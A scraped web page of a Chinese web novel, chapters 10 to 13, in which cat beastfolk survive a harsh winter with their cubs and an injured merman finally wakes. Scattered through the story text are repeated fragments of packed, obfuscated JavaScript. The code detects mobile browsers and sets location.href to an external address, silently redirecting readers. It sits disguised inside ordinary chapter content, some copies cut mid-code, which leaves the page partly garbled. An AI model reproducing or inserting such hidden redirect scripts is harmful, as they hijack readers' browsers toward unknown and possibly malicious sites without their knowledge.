35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165261|165102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 白争争一动不动,保持着敷尾巴的姿势,盯着人鱼。 一息……两息……许久,都没见人鱼动过。 哪怕是睫毛都没颤一下。 清爪子掏了掏年:“你是不是看错了?” 白争争蹙眉:“确定动了?哪儿动了?” 年躲着清的爪子,忙道:“手、手指动了一下,很小很小的一下。真的动了,你们别不相信!” “哐当哐当,咔嚓咔嚓……”洞里又重新响起乱七八糟的声音。 风爪子勾着砸下来的黑曜石片,小声道:“没准看错了。” “也可能真的动了。我睡熟了的时候还会动嘞,不一定是清醒了。”雁道。 白争争有些认同。 植物人也会动,是身体的自然反应而已,不代表就醒了。 白高兴一场。 “都躺了这么久了,哪里轻易能醒。”清说了一声,转头踩了踩年的肚皮,躺下去团着。 “也是,哪能这么容易醒。”白争争将兽皮糊在人鱼尾巴上。 烬闭着眼睛,在一众嘈杂声中,分辨出一道带着失落的叹息。 他第一反应是,他没死。 活了下来。 但活下来的感受也并不算太好,意识恢复那一瞬间,四肢百骸的疼痛侵入神经,仿佛有个利爪在他身体里搅动,勾断筋骨,撕扯皮肉,痛得他仿佛在抽搐。 他不知自己伤到什么地步。 只有疼,疼得他好不容易清醒一点,还没辨别此时的处境,就又没了意识。 他短暂地醒来,又悄然沉睡。 * 幼崽们有了事做,活儿也干了,饭也吃了,好像恢复了原样。 但白争争还来不及欣慰,却见幼崽们开始鼻尖干燥,食欲下降,连爬出兽皮的力气都没有。 几个成年兽人都急坏了。 “争争,这么下去可怎么办!”清在猫崽中间走动,挨个检查身体。 白争争摸了又摸,没发烧,没畏寒,也不拉肚子…… 看来看去,他得出个结论。 水土不服。 这里太冷,他们本是生活在温暖地区的兽人,兽形的时候毛毛本就短,抵不住这里的严寒。 加之这里实在太干燥,幼崽不习惯,食欲下降也是正常的事。 幼崽们半耷拉着眼皮,看着几个焦急得额头冒汗的兽人,更加颓丧。 他们太弱小了,什么都帮不了。就干了几天的活儿又把自己弄出问题,争争他们肯定急死了。 白争争确实着急,但又无计可施。 现在是来不及了,不若明年还是搬家,往温暖一点的地方去? 他从始至终没明白,为什么他的阿父当初要让他一定将幼崽们带到有雪的地方。 幼崽们吃不下,白争争只能尽力让他们多吃。 就只有这么耗着,耗了半个月,好不容易养胖的崽子们齐齐瘦了。 白争争站在兽皮毯旁边,一个个托在手心里感受重量。 好好的猫崽子,小得像个小耗子。 他心里着急,但又不敢表现出来。等猫崽们熟睡了,白争争拉上清跟年道:“我想出去找点新鲜的草茎。” “要是能找到些鲜肉,换换口味,幼崽们应该也能多吃点。” 白争争现在一心扑在幼崽身上,急得已经顾不了外面的天气。 清跟年道:“那我们跟你一起去。” 10. 第 10 章 洞外积雪很深,随便扔一只猫进去,一下就陷入雪中寻不着踪迹。 商量好了,白争争将洞中的幼崽都交到风四个少年的手上,随后选了个晴日,早早出发。 他们走时,幼崽还没醒。 洞口上方的空隙里有阳光落入。光线似坚冰,照在身上也没有什么暖意。 拉开洞口两道门,白争争背着兽皮袋,身旁跟着年还有清。 出洞口,雪就堵住了路。 白争争穿着长至小腿肚的兽皮靴,一脚踩在雪中。雪沫子从鞋口落入,冰得他一激灵。 他咬牙,一头扎进了冰天雪地里。 新鲜的草茎都掩埋在雪底下,清之前绕山采集过,知道哪里有能吃的草茎。 林猫身躯小,体重轻,踩在雪面上多注意些,也不会一栽一个坑。 他们从洞口走到了大河边,那里半个月前还是草木繁茂,现在也成了一片雪毯。 到了地方,却见一头巨大的角兽正埋头刨雪,吃着雪下的草根。 白争争霎时噤声。 清抖了抖爪子,往白争争身上一跳,赶紧将爪垫缩在他的兽皮衣上。 太冷了,爪都冻麻木了。 年匍匐在雪中,紧盯那头角兽。 “怎么抓?” 难得碰到大型的食草兽,却没带长矛跟弓箭。年痛心不已。 白争争悄然蹲下,紧盯那野牛大小,皮毛雪白,尖角如分开的树枝的角兽。 “我带了风几个做出来的黑曜石刀,要不试试?” “怎么试?”年四肢趴在雪地,回头看团在白争争兽皮衣上的清,后退着也蹿上白争争肩膀,赶紧在兽皮上搓搓冰凉的爪垫。 这地方简直是受罪。 “这样……” 白争争跟他们嘀咕几句,随后两个林猫一左一右靠近角兽。 白争争紧了紧手上的黑曜石刀,那刀片打磨得锋利。 他蹲下身,双眼黑亮锐利。 确定年跟清左右包抄了角兽,他伏低身子,慢慢靠近。 角兽专注地吃着草,耳朵甩动,忽然看向雪面。 年跟清屏息,静悄悄地盯着这头壮年的角兽。 白争争看着它重新低下来的头颅,那正在进食的喉管已经到脑中清晰成型。 五米、三米……两米…… 白争争一个跃起,带起如沙般的雪沫子。 角兽见状要逃,清跟年一下子跳出来,瞬间攀住他的角。在角兽挣扎时霎时变做人形,重重将它头颅往下压。 角兽的脑袋直接在雪中砸出个坑来。 就在这时,白争争握住刀狠狠冲着他脖子上一刺。 角兽哀嚎,疯狂地甩动身体,试图踩死挂在他角上的东西。 白争争双手狠狠下压,温热的鲜血飙出来,温暖了手指,也洇在纯白的雪面。 “撤!”一声令下,白争争狠踢了一下扎进角兽喉管里的刀,翻身后仰。 年跟清立马变做林猫,哆嗦着栽进雪中。 白争争没管石刀,两手一捞,捡起两只林猫就跑。 角兽在原地挣扎,愤怒发狂。 却在不久后,轰然倒塌。 “呼……呼……”白争争激烈喘息着。 他软着腿蹲下,将两只林猫放在膝头,双手圈住紧紧暖着他们的身体。 手上血淋淋的,瞬间就成了冰沫子。 过了一会儿,年跟清缓和过来。清爪垫踩了踩白争争的胳膊,探头看去道:“争争,应该死了。” 白争争撑腿站起,过去瞧了瞧,已经没动静了。 他抽出角兽脖子上的刀,就着它翻出来的雪堆,赶紧找了些新鲜的草茎。 “没工具拉不回去,我去拿藤排。” 白争争一来一回极快,来时还带了风四个过来。他们一起将这个大猎物运进了山洞。 雪中待了太久,白争争几个或多或少都有点难受。 凑在火堆年烤了很久,身子才从僵硬中缓和过来。白争争摸了摸发烫的耳朵,有些痒。 角兽是意外的收获。 他体型大,即便是在部落那会儿,兽人们也很少抓到。而且角兽胆子小,见兽人就跑。 幼崽们也是新奇。 这会儿纷纷有了兴趣,趴在兽皮边缘直勾勾盯着角兽看。 杀角兽的活儿被风几个抢了。 角兽皮毛柔软,厚实,是皮毛中的上乘。风将其完整剥皮下来,白争争立即拿了去鞣制。 正新鲜的肉,还有草茎和着一起,清直接给幼崽们炖了。 又取了一块肥瘦相间的,直接在石板上刷了油烤来吃。那香气一出来,幼崽们已经将火堆围了起来了。 他烤熟一片,石板边的幼崽勾了吃了,就自动离开换下一个。一群崽子围着火堆转圈,看得白争争好笑。 但心也算放下来一点点。 不过前些天幼崽吃不下,今天也不适合吃太多烤的。还是那新鲜的炖汤,一个崽子喝点,胃里也舒舒服服的。 白争争洗完兽皮,挂在火堆边的木棍上。 幼崽吃完,他跟清还有年才开始吃。 新鲜的肉味道着实不同,加上角兽吃草,肉里带着些鲜甜跟草木的清香味道。 吃着不腻,反倒清新。 白争争啃了几块骨头,喝了一大碗汤,才不白费力气抓那角兽。 他照旧喂了一些给人鱼,余下的才收起来,留着晚上继续吃。 一日过去,白争争观察着幼崽的情况。 或许是食物新鲜了,萎靡的幼崽恢复了一点点活力。 白争争计划着等这头角兽吃得差不多了,再出去找找其他新鲜猎物。 天黑之后,幼崽就爬床上休息。 白争争摸了摸已经烘干了的兽皮,又裹着草木灰二次鞣制。 忙完这些,才收拾收拾,睡觉。 火堆燃烧着,火势逐渐减小。洞里陷入了晦暗。 两道门紧栓着,洞中除了猫崽的呼噜声,并没有任何动静。 烬就是在这样的情况下,再一次有了意识。 他闭着眼睛,身子依旧未能动弹。 烬隐隐感觉到耳旁似乎有微弱的呼吸扫过,脸侧有柔软的绒毛触感。 烬意识迟钝,未曾第一时间分辨那是什么。 直到那小东西似乎翻了个身,温热的爪垫落在鼻尖,烬心头像被挠了一下。 可没来得及仔细感受,又模糊了意识。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165262|165102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或许是睡觉不安分,又或许是人鱼的颈窝温度正好,即便白争争睡觉前规规矩矩,熟睡时却又翻到了人鱼颈侧。 早上醒来,看到人鱼脖子上的梅花脚印,还有身上遮盖的长发,白争争都已经能镇定地爬出来了。 不是什么大事,就当是他救了人鱼收取的报酬了。 * 在经历过一阵食欲不振的情况后,幼崽们在几个成年兽人的细致照顾下,又恢复了活力。 山洞里又开始嘟嘟嘟地响,一刻也不消停。 白争争花了几天将角兽的兽皮鞣制好,赶着做出来两身兽皮衣,分别给了清还有年。 在山洞里依旧需要做事,但人形始终方便些,所以给年还有清两个成年的最合适。 有了他们帮忙,白争争就能腾出手来。 清承担起了做饭的职责,年抓紧时间做那些开春就用得到的工具。白争争偶尔去海边,虽然幼崽恢复了,但他还是谨慎地找些新鲜食物来,让幼崽吃得舒服一些。 日子就在山洞中慢慢度过。 今儿白争争跟清一起去了海边,沙滩上有雪,但依旧能捡到些新鲜海货。 他们在外把海货收拾了,拿到山洞里去。 幼崽在长身体,鱼汤是个好东西。除了最常吃的炖汤,他们还做了石板烤鱼,以及炸小鱼。 幼崽吃得爽快,体重也开始往上窜。 白争争欣慰,可当端着碗照旧去喂人鱼,又不免低落。 就算是个鸟,养了两个月也养出来感情了。人鱼迟迟没变化,越来越瘦,看得幼崽都有些急切。 所以白争争喂人鱼的时候,幼崽们蹲在兽皮毯上,双目不离。 烬又一次醒来。 这次好似能闻到味道了,鼻尖是海鱼的鲜味。 鲜味越发的近,烬感觉自己头被抬起,陷入了阳光味道的柔软身躯里。 迟来的食物味道让口中迅速分泌唾液,肚子里饥饿感越发分明。 白争争将勺子递到他唇边,本是按照往常喂人鱼的法子,捏着他的嘴灌进去,再一抬,让人鱼咽下。 他现在喂食物的手法已经很熟练了。 却不想,正准备动手时,蹲在旁边的幼崽惊呼抱作一团。 白争争手一抖,汤汁洒在了人鱼脖子。 他赶紧擦干净,看着幼崽问:“怎么了?” “动、动了。” “哪里动了?” “喉咙……” “喉咙?”白争争低头,试图又送了一口汤进他嘴里,果真,那喉结滚了滚,看得白争争恍惚。 “醒了?” 他戳了戳人鱼的脸。 本托着他后背打算拉开距离,可戳了几下,也还是那副双目紧闭的样子。 兴许又是那什么植物人的正常反应。 他加紧把一碗汤喂进去,赶紧松开人鱼,跟幼崽们一起观察。 烬想睁眼,奈何尽全力也只做到睫毛颤了颤。 但兽人们眼睛全盯着他喉咙看了,哪里注意得到。 烬不知情况,只在填饱了肚子的舒泰中,感觉到身上渐渐泛着的痒意。 最深的伤口在愈合。 在泛痒中,烬手指蜷缩,呼吸平缓。 11. 第 11 章 猫兽人们围观许久。 肉肉在床上打了好几个滚,小肚子紧挨着兽皮毯。 他板鸭趴着,背上驮着小他一半的绒球,看着眼前一堆执着的林猫。 “没动啊。” 幼崽们颓然往后一栽,钻进兽皮底下。 “动了!”真的动了,但却没醒。 失望! 肉蹬着四条腿爬到白争争的腿边,抬头问:“人鱼一直这样,要是我们老了他都醒不过来呢?” 白争争将小胖墩背上快要滑下来的绒球扶正,道:“在我们有多余的食物跟精力的情况下,能养着就养着,养多久是多久。” “只要人鱼在,对我们就是一层保障。” 人鱼身上的顶层兽人气息,会帮他们驱赶有危险的兽类。要是有兽人知道这里有人鱼,也不敢轻举妄动。 再说,养了这么久了总算养出点成效。 就那暗红的大尾巴,如石榴石般光华内敛,色泽莹润,就是当个摆件看着都心情很好。 “哦。”肉钻进被窝,扎进幼崽堆里,埋头睡下了。 他不关心人鱼,他关心下一顿又有什么好吃的。 兽人们对人鱼醒来不抱希望。 他们已经习惯石床里侧的人鱼当个床栏,要是醒了,他们反倒不自在。 却不知当天晚上,人鱼再次醒了过来。 这一次,烬的意识更加清晰。 耳边小呼噜声起伏着,下巴陷入柔软的绒毛。那应该是一只猫。 作为人鱼族的王,还从未有这样的小兽敢贴在自己身边,更何况还是在他身上睡觉。 这猫崽正对着自己蜷缩,爪垫抵着他的脸上,让对人鱼幼崽都未曾这样亲昵过的王稍稍有些不自在。 他尽力忽略这个小不点,感受自己的身体情况。 身上伤口泛着痒,尤其是腰间。 他试探着攥拳,却尤为吃力。手指仿佛被嵌入了泥浆中,弯曲手指都要花费许久时间。 僵持一会儿,手就细微颤抖着,筋骨中都泛着一股酸意。 等到手握成拳头,烬已经脑中犯晕,耗费了大量的气力。 他不知道自己躺了多久。 身体表面看着或许完好,但内里却仿佛成了一摊碎肉…… 本以为这次真就死了,不想还能醒来。 能动已经很不错,至于其他,他慢慢恢复就行。 这一夜,烬没再睡去,他反复地动着手指,试图睁眼,累得额角微湿。 到了天亮时听到耳边小兽睡醒的哼唧,才微微一愣,意识到自己撑了多久。 他担心吓到小兽,干脆松了绷紧的神经,放任自己疲惫地沉睡。 * 林猫兽人们数着日子过冬季。 下雪后两月已过,本以为差不多过了最冷的时期,但又天降大雪,直接将洞口淹了两米高。 他们才意识到这边冬季的恶劣性。 这雪势必要铲,不然连出去都困难。 白争争选了个晴日,阳光虽不暖和,但照得兽人心情好。 他抄起年用角兽的骨头做的大铲子,开始刨雪。 幼崽们或许是适应了一点这边的气候,白争争几个兽人干活的时候,他们哄闹着往雪堆里钻。 白争争来不及阻止,就一会儿的时间,松软的雪中全是洞。 白争争一铲子下去,正要扔,却看铲子里坐了个猫猫。 可手跟着惯性已经抛出去了,他吓得魂儿颤了颤,却见幼崽欢呼一声,两个前爪张开,笔直栽进了雪里。 弄得白争争连忙将幼崽刨出来,拎着后颈抖了抖,露出沾着糖霜的小芝麻球。 “争争再来!”幼崽兴奋,眼睛灿亮。 白争争一巴掌盖在他脑袋上。 “想都别想。” 然后,白争争每一铲子都能挖出个撒了糖霜的芝麻团儿,有的重,有的轻。白争争像个无情的抡铲子机器,最后把自己弄出一身大汗。 “不玩儿了!”白争争铲子一扔,开始赶猫。 清跟年见状好笑,不过他俩也没好到哪儿去。 雪挖了这么久,也就刨了个坑。手上不停搓着雪团,一大一小两个球压在一起,再抠出两个松子儿做眼睛,弄出个巴掌大的雪人来。 手都冻红了。 他俩看着面前刚从雪里翻出来,又在这边排队领雪人的幼崽,赶紧配合白争争道:“手冷,不玩儿了。” “我们还没有!” “再玩儿一会儿嘛。” “玩儿一会儿~” 幼崽嬉闹上前,一个接着一个往清跟年身上跳。两人抓下一个,又上来两个。 清捏着幼崽,忽然感觉他们的毛毛好像浓密厚实了些。还没细看呢,幼崽又嗖的一下跑了。 猫崽嘻嘻哈哈,当他们在玩儿游戏,闹得更欢了。弄得两个兽人头发凌乱,生无可恋看着白争争。 倒是管一下啊! 幼崽咯咯笑的声音响个不停。 也就是小,记不得事儿,这么无忧无虑地玩闹着也总比动不动生个病的好。 好在这雪沫干,如沙子一般一抖就掉,才没有把幼崽们的毛毛弄湿。 雁站在幼崽们后头,正指挥得起劲儿。 白争争坐在雪面,看着看着露出个浅浅的笑来。又想到雪似的哥哥,心脏被猛地攥紧,笑容落寞下来。 幼崽们把清跟年当架子,爬上爬下,玩儿得正欢。 趁机爬上年脑袋,占领最高地的幼崽芽昂首挺胸,神气地翘着尾巴立在年头顶。 正要冲伙伴得意,刹那间,直愣愣看见洞中的人鱼坐了起来。 坐了起来!!! “喵!!!”芽爪垫一滑,吧唧贴在年脑袋上,没站稳又咕噜噜往下滚。 年一把捞住,警惕道:“怎么了?!” 芽躺在年手里,翻个身,爪子直指洞中结巴道:“醒、醒了!” 兽人们被她一声破嗓子吓得飞快往成年兽人的怀里钻。待听清他说什么,钻得更快了。 白争争抱住躲藏的幼崽,下意识抬头,与那人鱼四目相对。 一时间,连空气都似乎凝滞。 洞内外,安静得落针可闻。 人鱼坐起来了,身子侧靠着墙面,安静看来。 那双眸子漆黑,细看却泛着红,像暗色的宝石。深邃幽深,又平静异常。 他坐得随意,即便瘦得快脱了形,但气势颇盛。 幼崽们没接触过这样的兽人,顿时吓得不敢抬头。 年跟清反应过来,迅速挪近白争争身边,三人并排,护住幼崽。 两个兽人警惕。 白争争摸了摸怀中的幼崽,目光不离人鱼。 在烬眼中,就是一群猫族兽人,防备又害怕地躲着他。一瘦一壮的警惕,唯独长相白净乖巧的,却冷静打量着他,镇定自若。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165263|165102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 于是,烬看着他,缓慢道:“谢谢你们,救了我。” 睡得太久,人鱼的声音沙哑但依旧好听。 气息有些虚,像隔着一层薄雾,低低的,平静中带着些郑重,很能获取兽人们的好感。 这是个释放友好的信号。 白争争点头,心脏跳得有些着急。 起先人鱼一直没醒,对他们就没什么威胁。刚看到人鱼醒来的第一时间,他就担心人鱼的好坏。 要是真是个恶劣的,他必然将他扔出去。 好在…… 白争争悄悄蜷了下手指,道:“我们从海边将你救起来的,你已经躺了两个月了。” “嗯。”烬颔首。 人鱼醒了。 林猫兽人们猝不及防,一瞬间乱了心绪。 醒来的人鱼跟他们想象中的不一样,一点也不友善,面无表情,半点不笑。 看着令兽人害怕。 被人鱼盯上一眼,就宛如被大型野兽盯住,毛骨悚然,僵立身躯。 起先说着“猫怎么会怕鱼”的幼崽们,此刻尽数藏起来,躲在成年的兽人身后,连探头都不敢。 他醒了,是不是就该走了。 人鱼好吓人! 万一他们进去的时候咬他们一口,那不得把争争哭死。 幼崽们哆嗦,乱七八糟地想着。 “烬,人鱼族。”烬自我介绍道。 “白争争,林猫兽人。这些是我们部落的幼崽。”幼崽出来已经有一会儿了,再待下去会生病,白争争将他们一搂起身进山洞。 烬点头,看出幼崽们害怕他,他闭上双目,再没出声。 清看着白争争进去,也赶紧将幼崽们带去火堆旁。 玩儿也玩儿了,虽然才一会儿,但也不能生病。 人鱼闭着眼,幼崽们紧紧挨着,炸开的毛毛逐渐平顺。 清没出声,盘坐在幼崽身后,挨个抓来拨开他们的背毛细看。果真,浓密了不少。 他示意白争争来看。 幼崽们也被吸引,纷纷拨弄着同伴的毛毛。 真的诶! 白争争看了眼人鱼,轻声道:“或许是天气原因,应该没什么危害。” 太冷了,激发了幼崽们身体的保护机制,能多长出些毛毛是好事。 已经中午,洞口的雪边玩儿边铲,也清理出一条路来。 兽人们将两道门关了,开始做饭。 白争争放下还紧张的幼崽们,往人鱼那边靠近。 幼崽纷纷勾住他的腿,更甚至四肢挂在他身上,害怕得不让他去。 白争争揉了揉幼崽脑袋,弄得他们舒服了,迷迷糊糊放开自己。 清趁机将幼崽抱过来,看着白争争去石床边。 人鱼醒了,迟早要交流的。 清也敏锐,看出人鱼收敛着气息,一直也没说话,就怕吓着幼崽。 就凭这一点,人鱼坏不到哪里去。 当白争争快要走到跟前时,烬缓缓睁眼。 白争争仿佛看到了一把小扇子摊开,那睫毛浓密细长,一双眼睛太过幽邃好看。 而人鱼眼中,小兽人或许刚刚成年,肤色白净,眼圆漂亮。但胆子很大,一步步向他靠近。 烬感觉到了他身上的气息。 暖暖的阳光味道。 那瞬间,身体先意识一步放松下来。 原来他就是睡在他肩上的小兽。 12. 第 12 章 白争争道:“你看看你的伤。” 烬坐着,实则大部分力气靠在石壁上。 兽皮只盖到他腰腹,光.裸的上半身被长发半遮,露出来的地方也处处是疤痕。 他尾巴太长,兽皮盖到床脚,外头还露出一截尾鳍。 之前为了他睡着方便,就在他尾鳍那边还放了些木头,又用干草垫得跟床一样高,就怕他睡久了尾巴麻。 白争争本想了解一下人鱼的情况,哪知刚走到人鱼身边,就下意识掀开兽皮毯就把他尾巴上盖着的那一块兽皮拿了出来。 烬尾鳍一颤。 白争争也是一愣。 两相对视,一个故作平静挪开视线,一个眼中诧异微闪,不过顷刻,又归于平静。 看来这小兽人的胆子不是一般的大。 既然这样,也不用太过小心谨慎。 “伤口已经恢复得差不多,谢谢。”烬道。 白争争摇头,干脆将兽皮浸了水,又覆盖在人鱼尾巴上。这一次,烬只静静注视着亚兽人。 这是人鱼的礼貌。 白争争道:“表面的伤口是恢复差不多了,但你的尾巴……当时我们救起来的时候,是断了的。我给你接了骨头,你看看接对了没有?” 烬早查探过,道:“没问题。不过我还没恢复完全,可能要再打扰你们一段时间。” “没事,已经收留这么长时间了,不差这一时。”白争争摇头浅笑,心中戒备稍稍放下。 烬的目光在白争争的笑容上停留了片刻,注意到那半露出来的两个尖尖牙齿。 怕吓到人,又不动声色收回视线。 白争争扫了眼他漂亮的尾巴,心里不知怎么,闪过一丝遗憾。 来不及细想,又看人鱼直接光裸着上半身靠着石壁,想了想,抽了些干草出来。 烬不解。 白争争道:“这个靠着舒服一点。” 烬颔首,手臂撑着石床将自己上半身挪开石臂。他面上看着没变化,落在兽皮底下的手却蹦起青筋。 他本就没恢复完全,坐起来跟兽人先交流一下,也是想看看身处的环境。 看着亚兽人忙碌,等他离开,看似不客气地往草垫上一靠,实则再撑下去就坐不稳了。 烬冲着他微微一颔首表示感激。 白争争摇头:“没事。” 洞里多了个会说话的人鱼,比放个摆件似的人鱼相差太多。他存在感太强,幼崽们一时间放松不下来。 两人说话时,清跟幼崽们都听在耳朵里。他们能感觉到人鱼散发出来的善意。但或许是他威势太强,总觉得怕得慌。 幼崽们拘谨,白争争没办法,这个天又不能将人鱼赶出去。 好在人鱼话不多,几乎不问他,他可以不说话。过个几日幼崽们就习惯了。 毕竟此前可是把人鱼尾巴当滑梯的幼崽。 陶锅里肉汤沸腾,香味弥漫,逐渐吸引了幼崽们的注意。 清坐在火堆边,身边紧挨着幼崽,暖烘烘的熏得面颊泛红。 他用石刀削着紫皮根,切成块儿,往锅里放。 幼崽们嗅着味儿爪子按住他手腕,眼巴巴道:“能不吃草吗?” 清:“之前不是吃过那么多次,现在又不喜欢了?” 幼崽爬上清的肩膀,看了眼白争争,正要说悄悄话,白争争就道:“不准挑食。” 幼崽一下就蔫儿了。 白争争问完了人鱼的恢复情况,便抄起藤筐继续编。年依旧磨着石头,风他们在研究捕猎的武器。 洞内每日如此,除了人鱼刚刚清醒时掀起了一阵涟漪,之后又恢复原状。 烬卧在白争争刚刚扑好的干草上,不动声色,几下将整个小部落的情况探明。 一共二十三个兽人,成年的就只有三个。跟他说话的亚兽人是这个小部落的族长。 按理说,一个部落里的幼崽是轻易不会与外来的兽人安排在同一处。那亚兽人只说了这些是他们部落的幼崽,但未明确部落的成年兽人去哪里了。 看洞内的情况,很明显,这个部落没有成年兽人。 环洲并不是处处都像中心的王城里那么和谐,这些幼崽多半是之前的部落遇到袭击,被几个成年兽人带着逃出来的。 再结合他们兽形的特征,烬一眼知道他们是南边的林猫一族。 能从南走到下雪的地方,还有这些明显不是这些兽人逃命途中能背出来的陶器…… 这群兽人并不弱小。 但脑袋聪明,也抵不过这漫长的严寒。 这个地方不适合兽人居住。 虽然北边几支都是充满善意的兽人种族,但一群幼崽能熬过一个冬季,不代表每个冬季都能熬过去。 或许作为救命的报酬,他可以将这群幼崽迁到一个适合他们居住的地方去。 随着肉汤的香味儿渐渐浓郁,干活的兽人们放下了手中的东西,挨个拿着自己的碗排队领肉汤。 烬迟钝地感觉到腹中饥饿。 一群幼崽捕猎不易,他并不适合开口要求食物。 但如果他们愿意给,王会很欣然接受。 此时,友善的小亚兽人白递上来一碗肉汤,汤里放着勺子。 烬勉强抬手。 白争争看着他微颤的手心。 人鱼手掌真的大,刚救起他时还能看到锋利的指甲,现在已经收回去了。他自起来一直靠着没变过的动作,白争争猜想他应该肌肉无力。 他试图将陶碗递过去。 这东西是幼崽做的,勉强像个碗,不过做得太厚,碗里还按了几个猫爪印。 但厚也有厚的好处,外面摸着不算烫。 碗一放上去,即便烬有个准备,不免也晃了晃。 白争争吓得赶紧端住,就怕他一床兽皮绒毯报废。 他试探道:“要不还是喂吧?” 烬手颤得厉害,等白争争迅速拿过碗,便直直地砸在兽皮上。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165264|165102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 白争争看他垂着睫,眼底一片阴影。 人鱼长得太好看,肤白貌美,又瘦得跟纸片似的,这端不起碗的病中美人……更惹人怜爱了。 好歹养了两个月的人鱼,也养出一点感情了,白争争安慰道:“你只是还没恢复完全,躺太久了,过段时间就好了。” 烬头轻轻一点。 他并不颓丧,只是忽然想起自从能吞咽后,亚兽人精心的照料。 或许只迁个地方并不能感谢他们的照顾。 但兽人终归是醒了,喂汤就显得有些别扭。好不容易喝完了,白争争赶紧端着碗走了。 烬也累了。 靠了会儿,就挪着躺下,不消片刻听着幼崽们浅浅的说话声,昏睡了过去。 人鱼睡熟,幼崽们一个个探头。 胆子大的,直接跑到床边,竖着两个耳朵悄悄观察着人鱼。胆子小的,依旧挨着成年兽人的身边,睁着两个大眼睛紧盯着石床,一动不动。 午饭过后,幼崽习惯午睡。 吃过饭的绒球困了,他摇摇晃晃走到石床边,爪子勾着垂下来的一截兽皮往上爬。 爬到石床,顺滑地往兽皮下一钻,兽皮面上顿时鼓了个小包。没一会儿,那小包就均匀起伏着。 大一些的幼崽们面面相觑。 只觉被绒球挑衅了! 他们接二连三往兽皮上跳,呲溜一下钻进去,本以为胆子多大呢,结果就在兽皮边缘停了下来。 头进去了,外面露着一排毛绒屁股。 那尾巴尖毛炸着,显然害怕。 白争争忍俊不禁。 洞中无急事,每天吃跟睡占了大部分时间。毕竟幼崽是自己家的,这么受惊白争争也心疼。 他起身,变做个比幼崽们大三分之一的猫,跃上石床隔着幼崽撑起的缝隙钻进去。 “快睡吧。”白争争隔在中间,拨弄着还撅着屁股的猫崽子。 幼崽欢欣,一下钻进去,堆在白争争身边猛蹭。 白争争迅速收了尾巴,无奈地被猫毛扑了一脸。 交流够了,幼崽才挤着团了团,不知胳膊腿儿压在哪个身上,不消片刻就睡熟了。 兽皮动了动,年跟清也钻了进来。 兽皮底下黑黢黢的,但猫兽人夜能视物。年清楚地看见白争争背对着人鱼,中间隔了起码一臂的宽。 还以为他多放松呢,原来也有点拘谨。 要知道之前他睡觉可是往人鱼脖子上蹭呢。 石床上动静不小,但烬身体还没恢复完全,睡得很熟。闹腾了一会儿,洞内安静下来。 只看那宽大的一张石床上,硕大的一条人鱼躺在尽力躺在虽里侧,留下的大部分空间给身躯瘦小的猫猫们。 人鱼长发下,拱拱蹭蹭有些动静。 原是一只四爪踏雪,巴掌大小的林猫挤了过去,爪子还自如地勾过那柔顺的长发盖在身上。 洞中安静,只余幼崽们睡舒服了的呼噜声。 13. 第 13 章 白争争比烬先醒。 不出意外,他又跑到了人家身上。 巴掌大的猫僵立在人鱼肩膀,紧收着爪子,四个爪垫踩得人鱼皮肤上落下四个微微凹陷的坑。 白争争缓缓抬起一个爪子,就见那踩过的地方由白迅速泛红,正正好浮现出一个完美的梅花印。 他心虚地看了眼人鱼的脸,见他还没醒,悄默默地拱出他头发下,绕从床头下去。 踩实了地面,爪子紧紧抠住。 耳朵不自在地弹动几下,飞快拿了拿了兽皮衣变做人形穿上。 兽人们陆续醒来。 年四个爪子抱住清,额前一戳白毛竖起,脑袋蹭着清的侧脸。本想像往常一样赖一会儿再起,意识到人鱼已经再是没意识地人鱼,赶紧随着清一起下去。 不多时,幼崽们也起来了。 大家不约而同地全下了地。 白争争捏着光滑的藤条,无奈看着幼崽们。 雁立在幼崽最前头,瞪大了猫儿眼无辜看着白争争。 “不睡了?” 以往可是要睡几个小时才起来。 雁叹气,仰着下巴,示意他看床上还有一条恢复了意识的鱼。 白争争唇角微翘,蹲下来对着幼崽们招招手。 雁先一个蹿出去,爬上白争争的手,蹲在他肩膀。 其余猫崽见状,一拥而上。 芽成功挤掉其他幼崽,立在白争争头顶上。 白争争无奈,勾着软乎乎的小肚子将这个最爱站在最高处的幼崽抱下来。 “不睡就不睡吧,先烤着火,一会儿帮忙干活。” 幼崽不语,成堆地占据了白争争怀抱。 